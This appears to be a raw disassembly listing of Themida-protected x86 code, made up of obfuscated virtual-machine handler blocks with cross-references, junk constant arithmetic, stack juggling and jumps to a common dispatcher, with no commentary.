loc_563935: ; CODE XREF: Themida_:00570547j sub eax, 5B3A0602h pop ebp pop edi xchg eax, [esp] pop esp mov fs:[edx], ax jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_563949: ; CODE XREF: Themida_:0056C885j add esp, 4 pop dword ptr [esp] pop esp jmp loc_56EF62 ; --------------------------------------------------------------------------- loc_563955: ; CODE XREF: Themida_:0056281Fj mov esi, 28634141h add esi, 749142F9h add esi, 740A3D67h or esi, 50863B43h add esi, 3EAB75C6h sub esi, 65FE3B31h jmp loc_56149A ; --------------------------------------------------------------------------- loc_56397D: ; CODE XREF: Themida_:0055E05Ej xor [esp], ecx jmp loc_5684B8 ; --------------------------------------------------------------------------- loc_563985: ; CODE XREF: Themida_:00563CE2j mov esi, 4 jmp loc_563FE7 ; --------------------------------------------------------------------------- loc_56398F: ; CODE XREF: Themida_:00560BACj push dword ptr [esp] pop ebp add esp, 4 and ecx, edi mov edi, [esp] add esp, 4 shr ecx, 0Ah push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_564740 ; --------------------------------------------------------------------------- loc_5639B4: ; CODE XREF: Themida_:0056B087j push ebx mov ebx, 437F1C50h jmp loc_572871 ; --------------------------------------------------------------------------- loc_5639BF: ; CODE XREF: Themida_:005665FCj add esi, 42980646h shr esi, 4 sub esi, 0C84446DBh add ecx, esi pop esi jmp loc_56C065 ; --------------------------------------------------------------------------- loc_5639D6: ; CODE XREF: Themida_:00567C16j add eax, ebx pop ebx add eax, 4 xchg eax, [esp] pop esp push esi mov esi, 44F36653h jmp loc_561DE8 ; --------------------------------------------------------------------------- loc_5639ED: ; CODE XREF: Themida_:0055E58Bj inc dword ptr [esp] pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5639F6: ; CODE XREF: Themida_:005698B1j push 1313h mov [esp], ecx mov ecx, 2 sub edi, 68697286h add edi, ecx push ebp mov ebp, 2EC7E63h jmp loc_568A47 ; --------------------------------------------------------------------------- loc_563A16: ; CODE XREF: Themida_:0057016Bj xor dword ptr [esp], 7FA42124h pop esi push 5E69h mov [esp], edi mov edi, 4345631Fh push ebp mov ebp, 0FFFFFFFFh add edi, ebp pop ebp shr edi, 8 push eax mov eax, 73F14C8Ah shl eax, 4 neg eax or eax, 59BD5E0Bh add eax, 3117932Fh jmp loc_565782 ; --------------------------------------------------------------------------- loc_563A51: ; CODE XREF: Themida_:005726E7j add dword ptr [esp], 4 jmp loc_560870 ; --------------------------------------------------------------------------- loc_563A5A: ; CODE XREF: Themida_:00566FAEj not esi and esi, 5CE82B96h jmp loc_56E54D ; --------------------------------------------------------------------------- loc_563A67: ; CODE XREF: Themida_:0056B107j mov ebx, esp add ebx, 4 push esi jmp loc_569146 ; --------------------------------------------------------------------------- loc_563A75: ; CODE XREF: Themida_:00560BD1j shl cl, 7 xchg dl, cl neg dl xchg dl, cl inc cl add cl, 36h jmp loc_56CD42 ; --------------------------------------------------------------------------- loc_563A88: ; CODE XREF: Themida_:005702B7j dec eax jmp loc_565668 ; --------------------------------------------------------------------------- loc_563A8E: ; CODE XREF: Themida_:0056D46Aj push ecx jmp loc_567859 ; --------------------------------------------------------------------------- loc_563A94: ; CODE XREF: Themida_:005722F6j sub esp, 4 mov [esp], ecx mov edx, [esp] add esp, 4 pop ecx add edx, 246027C7h add edx, ebx sub edx, 246027C7h mov [edx], al pop edx jmp loc_55DD22 ; --------------------------------------------------------------------------- loc_563AB7: ; CODE XREF: Themida_:0056A279j xchg ebp, [esp] mov esp, [esp] jmp loc_56536C ; --------------------------------------------------------------------------- loc_563AC2: ; CODE XREF: Themida_:0056C92Bj pop edx xchg ebp, [esp] pop esp movzx eax, al push dword ptr [edi+eax*4] jmp loc_55D2ED ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push eax mov eax, 9D16243h not eax add eax, 2F155740h shr eax, 2 push ebp mov ebp, 669F4A4Ah sub ebp, 5A537976h push ecx mov ecx, 3F8F2562h jmp loc_55E20E ; --------------------------------------------------------------------------- loc_563B05: ; CODE XREF: Themida_:005726F0j mov ebp, 4 add eax, ebp jmp loc_56BDE0 ; --------------------------------------------------------------------------- loc_563B11: ; CODE XREF: Themida_:00570B45j push edx mov edx, 1 sub ebx, 0EBB28DDh sub ebx, edx add ebx, 0EBB28DDh mov edx, [esp] add esp, 4 push ebp jmp loc_562D52 ; --------------------------------------------------------------------------- loc_563B34: ; CODE XREF: Themida_:00566FF3j pop esi inc ebx not ebx or ebx, 344138E7h jmp loc_571190 ; --------------------------------------------------------------------------- loc_563B43: ; CODE XREF: Themida_:00571671j not edi neg edi jmp loc_564E08 ; --------------------------------------------------------------------------- loc_563B4C: ; CODE XREF: Themida_:0055D7A7j mov [esp], edi jmp loc_561B61 ; --------------------------------------------------------------------------- loc_563B54: ; CODE XREF: Themida_:0056F481j add edx, ecx pop ecx jmp loc_564717 ; --------------------------------------------------------------------------- loc_563B5C: ; CODE XREF: Themida_:0056908Aj mov [esp], edx push 4F5h mov [esp], edi jmp loc_569FAE ; --------------------------------------------------------------------------- loc_563B6C: ; CODE XREF: Themida_:00560A66j add ebp, eax pop eax add edi, 67D00A6Fh add edi, 767379FDh push ebp mov ebp, 74BB6FC9h add edi, ebp pop ebp add edi, 6CCD67D7h add edi, ebp sub edi, 6CCD67D7h push ebp jmp loc_564687 ; --------------------------------------------------------------------------- loc_563B98: ; CODE XREF: Themida_:0055F026j mov [esp], eax push edi mov edi, 24h mov eax, edi mov edi, [esp] add esp, 4 jmp loc_55DF8A ; --------------------------------------------------------------------------- loc_563BB1: ; CODE XREF: Themida_:0055DA2Fj pop edx shl ebx, 4 inc ebx push edi mov edi, 31EE2A5Ch and ebx, edi pop edi jmp loc_564260 ; --------------------------------------------------------------------------- loc_563BC4: ; CODE XREF: Themida_:00564C04j xor [esp], esi xor esi, [esp] jmp loc_569150 ; --------------------------------------------------------------------------- loc_563BCF: ; CODE XREF: Themida_:005627DFj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ecx mov ch, 6Bh sub ch, 54h sub ch, 0F0h shr ch, 4 push edx jmp loc_57110D ; --------------------------------------------------------------------------- loc_563BF3: ; CODE XREF: Themida_:00571EBDj add esp, 4 and ecx, edi mov edi, [esp] push ebx push esp pop ebx push ecx mov ecx, 13418B1h neg ecx xor ecx, 0FECBE74Bh add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] mov esp, [esp] shr ecx, 2 jmp loc_56D6CE ; --------------------------------------------------------------------------- loc_563C23: ; CODE XREF: Themida_:00561548j push ebx jmp loc_56A39B ; --------------------------------------------------------------------------- loc_563C29: ; CODE XREF: Themida_:00561B3Dj pop edx neg ah sub ah, 95h add dh, ah pop eax jmp loc_5623EC ; --------------------------------------------------------------------------- loc_563C37: ; CODE XREF: Themida_:005650F2j add esp, 4 pop ecx loc_563C3B: ; CODE XREF: Themida_:0055D33Aj push ebx jmp loc_562B67 ; --------------------------------------------------------------------------- loc_563C41: ; CODE XREF: Themida_:00568BB1j push edx mov dh, 0E7h mov ch, dh pop edx jmp loc_565DA1 ; --------------------------------------------------------------------------- loc_563C4C: ; CODE XREF: Themida_:0055E37Aj pop ebx jmp loc_563533 ; --------------------------------------------------------------------------- loc_563C52: ; CODE XREF: Themida_:00562E7Ej push 2879h mov [esp], edi push edx jmp loc_55DD60 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_564302 ; --------------------------------------------------------------------------- loc_563C6F: ; CODE XREF: Themida_:005691C2j sub ebp, 28A314B7h jmp loc_56D1BE ; --------------------------------------------------------------------------- mov ax, [esp] push 777Dh mov [esp], eax jmp loc_564353 ; --------------------------------------------------------------------------- loc_563C8B: ; CODE XREF: Themida_:0056FE7Aj push edi jmp loc_570A67 ; --------------------------------------------------------------------------- loc_563C91: ; CODE XREF: Themida_:00564FACj pop eax add esp, 4 push 20AAh mov [esp], ecx jmp loc_56BBE8 ; --------------------------------------------------------------------------- loc_563CA5: ; CODE XREF: Themida_:005688D7j push ebx push ebx mov ebx, 0FFFFFFFFh sub [esp+4], ebx pop ebx jmp loc_56AFCD ; --------------------------------------------------------------------------- loc_563CB6: ; CODE XREF: Themida_:0056409Dj xor ebp, 545CEE6Eh jmp loc_56C9E9 ; --------------------------------------------------------------------------- loc_563CC1: ; CODE XREF: Themida_:0056BA3Ej push dword ptr [esp] mov ebp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push edi mov edi, esp push 53A1h mov [esp], esi jmp loc_563985 ; --------------------------------------------------------------------------- loc_563CE7: ; CODE XREF: Themida_:0056A4E7j pop ebx xchg ecx, [esp] pop esp mov [esp], esp push esi mov esi, 56407C29h add esi, 6E7F5755h xor esi, 0C3C9F9EBh push ebp mov ebp, 278D5DD4h or esi, ebp pop ebp or esi, 13EE49FDh shl esi, 2 add esi, 40BA0BA6h add esi, 1 xor esi, 20B80B9Fh add dword ptr [esp+4], 70112DCAh add [esp+4], esi sub dword ptr [esp+4], 70112DCAh pop esi pop ecx add ecx, 4 jmp loc_56601D ; --------------------------------------------------------------------------- loc_563D46: ; CODE XREF: Themida_:0056DB10j add edx, 65A13E35h add edx, ecx sub edx, 65A13E35h mov ecx, [esp] add esp, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp sar word ptr [esp], cl pushf jmp loc_56792B ; --------------------------------------------------------------------------- loc_563D6E: ; CODE XREF: Themida_:005665EFj push dword ptr [eax] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_563D75: ; CODE XREF: Themida_:005721FFj mov edi, esp add edi, 4 jmp loc_569DAF ; --------------------------------------------------------------------------- loc_563D82: ; CODE XREF: Themida_:00570E88j push 43E1h mov [esp], ebx mov bh, 0A9h not bh sub bh, 0B0h shr bh, 3 dec bh jmp loc_56ABBA ; --------------------------------------------------------------------------- loc_563D9B: ; CODE XREF: Themida_:005719C2j mov [esp], edx push eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_563DA5: ; CODE XREF: Themida_:0056F01Aj xor ebx, ebp pop ebp push edi push eax push edi mov edi, 661E4DE1h mov eax, edi pop edi push ecx mov ecx, 0FBE9C2FFh mov edi, ecx pop ecx add edi, eax jmp loc_565B86 ; --------------------------------------------------------------------------- loc_563DC3: ; CODE XREF: Themida_:00566B73j mov eax, [esp] add esp, 4 jmp loc_572708 ; --------------------------------------------------------------------------- loc_563DD1: ; CODE XREF: Themida_:0056C5B7j add ebp, 92650147h add eax, ebp pop ebp add eax, 0C6C9C738h jmp loc_56E84D ; --------------------------------------------------------------------------- loc_563DE4: ; CODE XREF: Themida_:00570BFAj add esp, 4 jmp loc_567D5C ; --------------------------------------------------------------------------- loc_563DEC: ; CODE XREF: Themida_:00570422j mov eax, ebp pop ebp mov edx, 539721EFh inc edx add edx, 0F6873CF7h xor edx, eax mov eax, [esp] jmp loc_56B909 ; --------------------------------------------------------------------------- loc_563E05: ; CODE XREF: Themida_:00565B1Ej bts [esp], ax pushf jmp loc_5714A7 ; --------------------------------------------------------------------------- loc_563E10: ; CODE XREF: Themida_:0056081Aj and ebp, 1D4B0FA9h shr ebp, 8 add ebp, 0FFF7F7FBh mov esi, ebp pop ebp mov eax, esi pop esi jmp loc_5694F3 ; --------------------------------------------------------------------------- loc_563E2A: ; CODE XREF: Themida_:00564CF4j not di xor bp, di xor di, bp xor bp, di xor cx, bp xor bp, cx jmp loc_561F55 ; --------------------------------------------------------------------------- movzx ax, byte ptr [edx] jmp loc_55F47A ; --------------------------------------------------------------------------- loc_563E4A: ; CODE XREF: Themida_:0055E1F8j pop eax pop eax sub eax, 0D040F6Bh jmp loc_561CC6 ; --------------------------------------------------------------------------- loc_563E56: ; CODE XREF: Themida_:00566A16j pop ecx add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_563E62: ; CODE XREF: Themida_:0056CA37j mov esi, 60D5858h and edx, esi mov esi, [esp] add esp, 4 and edx, 18066FDCh push ebx push esi mov esi, 136E5BBFh jmp loc_561661 ; --------------------------------------------------------------------------- loc_563E84: ; CODE XREF: Themida_:005646C5j mov eax, esp jmp loc_57149B ; --------------------------------------------------------------------------- loc_563E8B: ; CODE XREF: Themida_:0055E456j mov esi, 1FEC42DCh dec esi not esi shl esi, 6 jmp loc_56CF39 ; --------------------------------------------------------------------------- loc_563E9B: ; CODE XREF: Themida_:0056CF3Dj mov edi, 621AE00Ch jmp loc_567896 ; --------------------------------------------------------------------------- loc_563EA5: ; CODE XREF: Themida_:0056F864j sub esp, 4 jmp loc_56D3C4 ; --------------------------------------------------------------------------- loc_563EB0: ; CODE XREF: Themida_:0056DA9Aj mov [esp], eax push esp pop eax sub esp, 4 jmp loc_5623CD ; --------------------------------------------------------------------------- loc_563EBD: ; CODE XREF: Themida_:0056A610j push 4 pop esi sub eax, esi mov esi, [esp] push edi jmp loc_56E15F ; --------------------------------------------------------------------------- loc_563ECE: ; CODE XREF: Themida_:0056B0CBj add ax, si sub esp, 4 mov [esp], edi mov di, 2834h sub di, 0E872h jmp loc_55F23A ; --------------------------------------------------------------------------- loc_563EE8: ; CODE XREF: Themida_:0056C2DBj mov esp, [esp] mov [esp], edx mov dl, 94h sub dl, 0B4h sub esp, 2 mov [esp], cx jmp loc_56D488 ; --------------------------------------------------------------------------- loc_563F02: ; CODE XREF: Themida_:0056F9DCj add esp, 4 push 576Fh mov [esp], edx push 6F34h jmp loc_56072A ; --------------------------------------------------------------------------- loc_563F17: ; CODE XREF: Themida_:0056E6A5j add ebp, ebx sub ebp, 3D7D5F2Bh mov ebx, [esp] push ebp mov ebp, esp push ecx mov ecx, 0D5945D6h not ecx and ecx, 7C7C780Eh add ecx, 5F496DE9h push edi mov edi, 5027289Ah jmp loc_55D86F ; --------------------------------------------------------------------------- loc_563F44: ; CODE XREF: Themida_:0056278Fj add edi, 0F2EF8647h mov ecx, edi pop edi sub ecx, 21AB0C98h and ecx, 39496AFBh shl ecx, 6 and ecx, 26EA18B6h xor ecx, 7E941CCDh add ebp, ecx pop ecx mov edi, [esp] push ecx push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp jmp loc_569D3D ; --------------------------------------------------------------------------- loc_563F86: ; CODE XREF: Themida_:005725E3j sub edi, ebp jmp loc_564925 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] pop ecx jmp loc_55F3FD ; --------------------------------------------------------------------------- loc_563F99: ; CODE XREF: Themida_:0055EF36j push edx pop ecx pop edx sub eax, ecx pop ecx jmp loc_567BDD ; --------------------------------------------------------------------------- loc_563FA4: ; CODE XREF: Themida_:0056FECEj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_563FA9: ; CODE XREF: Themida_:005617F8j sub eax, 26FB71B6h jmp loc_566618 ; --------------------------------------------------------------------------- loc_563FB3: ; CODE XREF: Themida_:00565440j mov dx, [esp] add esp, 2 xor bh, 5Fh add al, bh push dword ptr [esp] jmp loc_561FDF ; --------------------------------------------------------------------------- loc_563FCA: ; CODE XREF: Themida_:00571ED0j push edx jmp loc_560BCC ; --------------------------------------------------------------------------- loc_563FD0: ; CODE XREF: Themida_:005655C5j mov ah, 4Ah neg ah dec ah sub ah, 0FDh xor ch, ah pop eax push ecx inc byte ptr [esp+1] pop ecx jmp loc_5713CA ; --------------------------------------------------------------------------- loc_563FE7: ; CODE XREF: Themida_:0056398Aj add edi, esi pop esi jmp loc_5722A3 ; --------------------------------------------------------------------------- loc_563FEF: ; CODE XREF: Themida_:0055D45Cj add esp, 4 add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564007: ; CODE XREF: Themida_:005603A6j push ecx mov ecx, 40320F44h or ecx, 6F196106h shl ecx, 6 jmp loc_571795 ; --------------------------------------------------------------------------- loc_56401B: ; CODE XREF: Themida_:0056CB7Bj sub edx, 719A52C1h push esi jmp loc_55E571 ; --------------------------------------------------------------------------- loc_564027: ; CODE XREF: Themida_:0055F3BDj sub ebx, eax pop eax add ebx, 55327C4Eh jmp loc_56E4E9 ; --------------------------------------------------------------------------- loc_564035: ; CODE XREF: Themida_:0055D319j pop ebx mov dl, ch pop ecx sub dl, 0FFh sub dl, 0F2h dec dl jmp loc_572523 ; --------------------------------------------------------------------------- loc_564046: ; CODE XREF: Themida_:00571B3Cj add ecx, 27FD58A4h inc ecx jmp loc_56F47B ; --------------------------------------------------------------------------- loc_564052: ; CODE XREF: Themida_:0057266Fj pop eax sub esp, 4 mov [esp], esi push dword ptr [esp+4] jmp loc_568977 ; --------------------------------------------------------------------------- loc_564065: ; CODE XREF: Themida_:005714C1j pop esp retn ; --------------------------------------------------------------------------- jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56406C: ; CODE XREF: Themida_:00564B6Fj xchg ecx, [esp] mov esp, [esp] push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] mov ecx, [esp] jmp loc_5715F2 ; --------------------------------------------------------------------------- loc_564086: ; CODE XREF: Themida_:0055EF2Cj push 43FAh mov [esp], edx push ebp mov ebp, 32E320E7h shr ebp, 6 or ebp, 19E12170h jmp loc_563CB6 ; --------------------------------------------------------------------------- loc_5640A2: ; CODE XREF: Themida_:00567A4Cj xor ebx, ebp jmp loc_5709B1 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax sbb [esp], eax pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5640B7: ; CODE XREF: Themida_:00562D03j sub esp, 4 mov [esp], esi mov esi, 3B1A5F04h add esi, 18F61BCEh jmp loc_5645C2 ; --------------------------------------------------------------------------- loc_5640D0: ; CODE XREF: Themida_:0055F89Fj push ebx mov ebx, 5AE76896h add eax, ebx mov ebx, [esp] add esp, 4 add eax, edx sub esp, 4 mov [esp], edi push 5AE76896h pop edi sub eax, edi mov edi, [esp] jmp loc_560FF6 ; --------------------------------------------------------------------------- loc_5640F9: ; CODE XREF: Themida_:0056B79Dj mov edi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edx, 13B84D04h sub edx, ebx sub edx, 13B84D04h xor ebx, edx xor edx, ebx xor ebx, edx mov edx, [esp] add esp, 4 jmp loc_568A53 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564133: ; CODE XREF: Themida_:0055F27Cj xchg ebx, [esp] pop esp shl ecx, 5 xor ecx, 9F98A36Ch jmp loc_56A3D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DEE3 loc_564145: ; CODE XREF: sub_55DEE3+25j pop ecx push 372Ah mov [esp+4+var_4], edx jmp loc_56BDAD ; END OF FUNCTION CHUNK FOR sub_55DEE3 ; --------------------------------------------------------------------------- loc_564153: ; CODE XREF: Themida_:0056348Bj sub ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], esi mov esi, 19F12CADh add esi, 0F3239E6h push 4460h mov [esp], ebp jmp loc_55F008 ; --------------------------------------------------------------------------- loc_56417D: ; CODE XREF: Themida_:00568B9Bj or ebx, ebx jnz loc_5677C1 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 4378h jmp loc_5702BC ; --------------------------------------------------------------------------- loc_5641A2: ; CODE XREF: Themida_:005697D2j pop ebx jmp loc_560AD7 ; --------------------------------------------------------------------------- loc_5641A8: ; CODE XREF: Themida_:00569E4Fj push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov edi, [esp] add esp, 4 jmp loc_567840 ; --------------------------------------------------------------------------- loc_5641D7: ; CODE XREF: Themida_:0056BC5Fj xor edx, 722A7254h add ebp, edx jmp loc_569377 ; --------------------------------------------------------------------------- loc_5641E4: ; CODE XREF: Themida_:0057151Aj add esi, eax pop eax jmp loc_56C800 ; --------------------------------------------------------------------------- loc_5641EC: ; CODE XREF: Themida_:005683D0j and ecx, 7D0739A4h shr ecx, 3 jmp loc_5705A8 ; --------------------------------------------------------------------------- loc_5641FA: ; CODE XREF: Themida_:00565A83j mov esi, 1B2F48A8h sub esi, 5E4A2CC0h jmp loc_5700D3 ; --------------------------------------------------------------------------- loc_56420A: ; CODE XREF: Themida_:005608A1j add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] movsx ecx, al sub esp, 4 mov [esp], edi push esp push dword ptr [esp] pop edi add esp, 4 add edi, 4 push edi push esp jmp loc_571956 ; --------------------------------------------------------------------------- loc_56423B: ; CODE XREF: Themida_:0056B5E4j neg esi jmp loc_562ED8 ; --------------------------------------------------------------------------- loc_564242: ; CODE XREF: Themida_:005694EEj mov ebx, esi pop esi sub ebx, esi jmp loc_567C8A ; --------------------------------------------------------------------------- loc_56424C: ; CODE XREF: Themida_:0056AB54j pop ebp and esi, 62AC7279h jmp loc_5716C7 ; --------------------------------------------------------------------------- loc_564258: ; CODE XREF: Themida_:00568C2Aj xchg ebp, [esp] jmp loc_56E7EC ; --------------------------------------------------------------------------- loc_564260: ; CODE XREF: Themida_:00563BBFj xor ebx, 70B869C4h jmp loc_56C746 ; --------------------------------------------------------------------------- loc_56426B: ; CODE XREF: Themida_:0056E707j add esp, 4 push edx mov edx, 4 jmp loc_569B02 ; --------------------------------------------------------------------------- loc_56427C: ; CODE XREF: Themida_:0056B3FBj pop esi xor ebx, [esp] xor [esp], ebx jmp loc_56CC16 ; --------------------------------------------------------------------------- loc_564288: ; CODE XREF: Themida_:0055E56Cj mov eax, esp push edi mov edi, 55EB5C9Dh add edi, 627C5CDFh add edi, 47984688h add eax, edi pop edi add eax, 4 xor eax, [esp] xor [esp], eax jmp loc_566CB5 ; --------------------------------------------------------------------------- loc_5642AF: ; CODE XREF: Themida_:005652B6j shl ebp, 6 not ebp sub ebp, 12D066C6h push ecx mov ecx, 985EB0BDh xor ebp, ecx pop ecx jmp loc_564628 ; --------------------------------------------------------------------------- loc_5642C8: ; CODE XREF: Themida_:005695D5j sub ebx, esi pop esi sub esp, 4 mov [esp], esi jmp loc_5602CA ; --------------------------------------------------------------------------- loc_5642D9: ; CODE XREF: Themida_:0056C2F9j mov ebx, 0C894138h jmp loc_56D85A ; --------------------------------------------------------------------------- loc_5642E3: ; CODE XREF: Themida_:0056CB51j add ecx, edi pop edi xchg ecx, [esp] pop esp push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 push eax push esp push dword ptr [esp] pop eax jmp loc_56E988 ; --------------------------------------------------------------------------- loc_564302: ; CODE XREF: Themida_:00563C6Aj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_564307: ; CODE XREF: Themida_:0055F86Bj xchg ebx, [esp] mov esp, [esp] mov [esp], edi push 0E02h jmp loc_563507 ; --------------------------------------------------------------------------- loc_56431A: ; CODE XREF: Themida_:0056229Fj pop ecx xor edx, 602A051Ch jmp loc_5611FB ; --------------------------------------------------------------------------- loc_564326: ; CODE XREF: Themida_:00571F2Ej add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push dword ptr [esp] mov eax, [esp] push eax jmp loc_56CBD0 ; --------------------------------------------------------------------------- loc_564342: ; CODE XREF: Themida_:0055FE09j pop esi jmp loc_562308 ; --------------------------------------------------------------------------- loc_564348: ; CODE XREF: Themida_:00567AF9j xchg ecx, [esp] mov esp, [esp] jmp loc_56B2D6 ; --------------------------------------------------------------------------- loc_564353: ; CODE XREF: Themida_:00563C86j mov eax, esp sub esp, 4 jmp loc_5610B2 ; --------------------------------------------------------------------------- loc_56435D: ; CODE XREF: Themida_:005606E9j xor eax, edx push ebx push 28EEh mov [esp], esi push 5039784Dh pop esi push eax mov eax, 42682717h push ebp mov ebp, 46707959h xor ebp, 46CE0CE6h jmp loc_560066 ; --------------------------------------------------------------------------- loc_564385: ; CODE XREF: Themida_:0056B989j mov ecx, 4 add edi, ecx pop ecx xchg edi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp mov ebp, 2483411h jmp loc_56AD74 ; --------------------------------------------------------------------------- loc_5643A3: ; CODE XREF: Themida_:00560EBAj shl cx, 6 neg cx jmp loc_56CF11 ; --------------------------------------------------------------------------- loc_5643AF: ; CODE XREF: Themida_:00570CA7j push ebx mov ebx, 638361A8h xor ebx, 1EF24F9Ch and ebx, 4396736Ah jmp loc_56AF42 ; --------------------------------------------------------------------------- loc_5643C6: ; CODE XREF: Themida_:0056A8A7j pop ebx sub ch, 0A6h sub ch, 3 mov dh, ch jmp loc_571BE6 ; --------------------------------------------------------------------------- loc_5643D4: ; CODE XREF: Themida_:0056B1E3j mov al, 36h mov ch, 0BEh xor ch, al pop eax push cx xchg cl, [esp+1] not cl xchg cl, [esp+1] jmp loc_55FD6A ; --------------------------------------------------------------------------- loc_5643EC: ; CODE XREF: Themida_:00560F72j pop ebx jmp loc_5632AC ; --------------------------------------------------------------------------- loc_5643F2: ; CODE XREF: Themida_:00568796j pop edi xchg ebx, [esp] mov esp, [esp] mov [esp], ebx push dword ptr [esp+4] jmp loc_56665B ; --------------------------------------------------------------------------- loc_564405: ; CODE XREF: Themida_:00569D40j push edx jmp loc_5648D7 ; --------------------------------------------------------------------------- loc_56440B: ; CODE XREF: Themida_:005663BBj push ebx mov ebx, 3EED3E6Ah sub ebx, 63963107h jmp loc_56C442 ; --------------------------------------------------------------------------- loc_56441C: ; CODE XREF: Themida_:0056060Dj sub edx, ecx pop ecx xchg edx, [esp] jmp loc_55E118 ; --------------------------------------------------------------------------- loc_564427: ; CODE XREF: Themida_:00562F76j pop edi jmp loc_56D04C ; --------------------------------------------------------------------------- loc_56442D: ; CODE XREF: Themida_:005636BBj push ebp push 183167D3h pop ebp not ebp not ebp push edi mov edi, 60863723h not edi jmp loc_55E518 ; --------------------------------------------------------------------------- loc_564445: ; CODE XREF: Themida_:0057007Cj add eax, 4 sub eax, 4 jmp loc_56CBAD ; --------------------------------------------------------------------------- loc_564454: ; CODE XREF: Themida_:0055D94Bj sub eax, ecx jmp loc_56C8C6 ; --------------------------------------------------------------------------- loc_56445B: ; CODE XREF: Themida_:00568D3Dj mov bh, 6Fh dec bh and bh, 0A4h neg bh sub bh, 0C1h add ah, 6Dh add ah, bh sub ah, 6Dh pop ebx xor ah, 1Eh mov dl, 0ABh sub dl, ah jmp loc_55D5C2 ; --------------------------------------------------------------------------- loc_56447C: ; CODE XREF: Themida_:00562580j push 2 pop ecx push ecx mov ecx, 7BB7698Ah sub ecx, 3D646ADCh xor ecx, 212223B2h shl ecx, 5 neg ecx push ebp jmp loc_56AE2C ; --------------------------------------------------------------------------- loc_56449F: ; CODE XREF: Themida_:0056FF89j push edi jmp loc_569CEF ; --------------------------------------------------------------------------- loc_5644A5: ; CODE XREF: Themida_:00569CE3j mov esp, [esp] jmp loc_563191 ; --------------------------------------------------------------------------- loc_5644AD: ; CODE XREF: Themida_:0056F5ECj mov ebx, 764F46C0h mov edi, ebx jmp loc_564901 ; --------------------------------------------------------------------------- loc_5644B9: ; CODE XREF: Themida_:0056EFF7j sub ebx, edx pop edx shl ebx, 2 shr ebx, 1 and ebx, 5B710B4h push ecx jmp loc_55FBA4 ; --------------------------------------------------------------------------- loc_5644CD: ; CODE XREF: Themida_:0056D0F1j mov ecx, [esp] add esp, 4 push esi mov esi, 5D01544Ah push edx push ecx mov ecx, 7E5827B1h not ecx neg ecx not ecx xor ecx, 0DCA68C03h mov edx, ecx pop ecx xor esi, edx jmp loc_56FC63 ; --------------------------------------------------------------------------- loc_5644F6: ; CODE XREF: Themida_:00571BD1j mov ah, dl pop edx mov bl, 96h jmp loc_55D950 ; --------------------------------------------------------------------------- loc_564500: ; CODE XREF: Themida_:0056D8F0j mov eax, 61BA244Dh shl eax, 6 jmp loc_55F87E ; --------------------------------------------------------------------------- loc_56450D: ; CODE XREF: Themida_:0056AF02j mov ecx, 3F3E5D67h and ecx, 67ED3A4Ah push edi mov edi, 55863BE5h jmp loc_55FBFB ; --------------------------------------------------------------------------- loc_564523: ; CODE XREF: Themida_:0056661Aj add eax, 26FB71B6h jmp loc_568608 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5701EB ; --------------------------------------------------------------------------- loc_564536: ; CODE XREF: Themida_:0056260Bj push ebp mov ebp, esp jmp loc_55E22F ; --------------------------------------------------------------------------- mov cx, [esp] push 2AA8h jmp loc_5674D1 ; --------------------------------------------------------------------------- loc_56454C: ; CODE XREF: Themida_:005632A7j push ebx mov ebx, eax mov edi, ebx jmp loc_5603D5 ; --------------------------------------------------------------------------- loc_564556: ; CODE XREF: Themida_:0055F6E2j add ecx, eax pop eax push eax push esi jmp loc_56DD78 ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55F793 ; --------------------------------------------------------------------------- loc_564569: ; CODE XREF: Themida_:0056BF21j mov ebp, 58127D42h add ecx, ebp jmp loc_56B0D0 ; --------------------------------------------------------------------------- loc_564575: ; CODE XREF: Themida_:0056FBB8j sub ebx, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], ebp push edx jmp loc_569939 ; --------------------------------------------------------------------------- loc_56458C: ; CODE XREF: Themida_:0056CD9Dj add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 42AB6C9Fh sub edx, 3D6D606Ah jmp loc_57289B ; --------------------------------------------------------------------------- loc_5645AF: ; CODE XREF: Themida_:0056315Aj add ebp, esi pop esi mov edx, ebp mov ebp, [esp] add esp, 4 jmp loc_56D921 ; 